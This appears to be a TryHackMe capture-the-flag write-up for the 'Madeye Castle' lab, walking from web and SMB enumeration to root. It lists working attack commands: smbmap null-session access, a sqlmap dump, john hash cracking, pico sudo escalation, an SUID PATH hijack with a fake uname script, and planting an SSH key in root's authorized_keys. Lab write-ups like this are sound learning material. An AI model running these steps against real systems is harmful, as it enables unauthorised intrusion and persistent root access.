TryHackMe - Madeye Castle
Link to the ctf: Madeye’s Castle
Web Server
By visiting the webpage, we see that the default apache page is changed.
by checking the source code, we get an hint.
Updating the /etc/hosts
file we get another webpage that greetes us.
SMB Share
nmap tells us that there’s a Samba service on.
I’m gonna use enum4linux-ng.
The following interesting things that the output it gives us are the following:
There is a Null Session vulnerability. This allows us to “login” without entering a password.
I then used smbmap
to enumerate it further.
smbmap -H 10.10.197.154 -u '' -p ''
sambashare
is accessible. The following command is to recursively search for stuff inside a share.
smbmap -H 10.10.197.154 -u '' -p '' -R sambashare
To download the files, we just use the --download
argument
smbmap -H 10.10.197.154 -u '' -p '' --download sambashare\\.notes.txt
smbmap -H 10.10.197.154 -u '' -p '' --download sambashare\\spellnames.txt
notes.txt
contains the following:
Hagrid told me that spells names are not good since they will not "rock you"
Hermonine loves historical text editors along with reading old books.
and spellnames.txt
it apper to be a wordlist.
SQL Injection
I intercepted the login request and passed it to sqlmap
I’m using the following sqlmap version: 1.5.2#pip
Fun fact: I had issue with sqlmap. Try to update it or change some arguments.
sqlmap -r request --level 5 --risk 3 --random-agent -T users --dump
I decided to crack this hash since it gives me more detail about it
“My linux username is my first name, and password uses best64”
so harry is the username, best64
is a rule. I use john to crack the hash.
john --rules=best64 -w=./spellnames.txt --format=Raw-SHA512 hash.txt
We can use the credentials to log in via ssh.
Horizontal Privilege Escalation
By checking harry
privileges, we see that we can execute pico
as hermonine
By using Pico privesc techninques we can spawn a shell as
hermonine
.
And then I put my ssh-key in /home/hermonine/.ssh/authorized_keys
so I can have a better shell.
Vertical privilege escalation
Got stuck here, thinking that I should do something that only hermonine could do.
I checked for SUID files
I used the strings
command
and I feel like this binary executes uname -p
without specifying the full path for it.
We can exploit it by just changing the enviroment path where Linux checks for binaries.
By runnin these commands, we tell linux to check first in our current directory for the linux command that it has to execute.
Then I create a bash script called uname
#!/bin/bash
echo "HIJACKED";
whoami; id;
and make it executable
chmod +x uname
but first we have to guess the number. We can actually bypass it since it uses the current time as seed.
#include <stdio.h>
#include <time.h>
int main(){
srand(time(0));
printf("%d", rand());
return 0;
}
and compile it
gcc rand.c
okay, so we can confirm that we can execute commands as root.
The easiest way to get root would be to change /bin/bash
’s suid.
Or we can write our key to /root/.ssh/authorided_keys
.
I’m treating this as a penetration test, so I’d like to not mess things around more than I should, so I’ll write my ssh key being careful to append it to the file.
#!/bin/bash
echo "HIJACKED";
mkdir /root/.ssh; chmod 600 /root/.ssh;
echo -e '\necdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFHMnWdBAAvTFNf4U01x9NjPFAbGWj4f/LyeCZPmHQdp/PH/u71OShS7wZREW9WzV73/TGxuwXYnaU1RJL/5wJc= lmao' >> /root/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
Now we can login as root via ssh.
ssh -i sshkey root@10.10.197.154